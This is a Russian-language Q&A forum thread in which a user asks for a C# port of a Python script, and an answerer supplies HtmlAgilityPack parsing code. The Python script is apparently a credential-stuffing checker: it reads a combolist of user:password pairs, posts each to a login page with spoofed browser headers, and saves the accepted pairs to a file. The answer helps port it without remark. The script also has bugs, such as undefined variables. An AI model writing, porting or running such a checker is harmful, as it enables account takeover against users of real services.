Перевод Python на .NET C # - PullRequest
0 голосов
/ 31 мая 2019

Я хочу помочь найти перевод эквивалентного кода для версии C #.

В основном я не понимаю BeautifulSoup и html.parser больше всего.Какие библиотеки я бы использовал в C #, я прошу для демонстрации примера кода.Спасибо за помощь.

import urllib.parse
import time
from bs4 import BeautifulSoup

def check_acc(user,password):
    POST = 'POST'
    GET = 'GET'
    data = "userLoginId={}&password={}&STAYIN=false&flow=websiteSignUp&mode=login&action=loginAction&withFields=STAYIN%2CnextPage%2CuserLoginId%2Cpassword%2CcountryCode%2CcountryIsoCode&authURL=authURL%2FEcpWPKhtag%3D&nextPage=&showPassword=&countryCode=%2B33&countryIsoCode=USA".format(email, password).encode("utf-8")

    request_login = urllib.request.Request("https://www.mywebsitetest:8080/Admin",
    data = data,
    headers ={
    'Host': 'www.mywebsitetest.com',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'fr-FR',
    'Accept-Encoding': 'gzip, deflate, br',
    'Referer': 'https://www.mywebsitetest/USA/Login',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': 330},
    unverifiable = True,
    method = 'POST')

    resfused_msg = "Wrong combination</a>.".format('<a href="/">')
    try:
        response = urllib.request.urlopen(request_login)
        readed = response.read()
        soup = BeautifulSoup(readed, "html.parser")
        IsTrue = str(soup.findAll("div", attrs={"class" : "ui-message-contents"}).text)
        if IsTrue == resfused_msg:
            print("Refused => ({}:{})".format(user, password))
        else:
            print("Accepted => ({}:{})".format(user, password))
            result_file = open(result, "a")
            result_file.write(user + ":" + password)
    except Exception as e:
        print(f"[-] Sorry an error as occured.\n=> {e}\n")
        print("[+]Closing program.\n")
        time.sleep(2)
        exit()

combo = "working.txt"
try:
    combo_file = open(combo, "r")
    line = list(combo)
    print("[+]Combolist loaded.\n")
    for line in combo_file:
        user = line.split(":")[0]
        password = line.split(":")[1]
        check_acc(user,password)
except FileNotFoundError:
    print("[-]NOthing found.")

print("[+]Bye!...\n")
time.sleep(20)
exit()```

1 Ответ

0 голосов
/ 31 мая 2019

Пакет Html Agility - это один из самых распространенных пакетов синтаксического анализа HTML, используемых в C #.Он доступен через прямую загрузку или через фид пакетов NuGet.Документация доступна здесь .Вы также должны получить пакет CssSelectors nuget, который позволит вам использовать CSS-селекторы для извлечения элементов из DOM.

Чтобы получить ваш div с классом ui-message-contents, вы сделаете что-то вроде:

// You will need to pass in/configure the headers and other fields for your request before you call GetResponse
HttpWebRequest request= (HttpWebRequest)WebRequest.Create(url);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();

HtmlDocument document = new HtmlAgilityPack.HtmlDocument();

document.Load(response.GetResponseStream());
IList<HtmlNode> elements = document.QuerySelectorAll("div.ui-message-contents");

// or if you're only expecting a single result
HtmlNode element = document.QuerySelector("div.ui-message-contents");
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...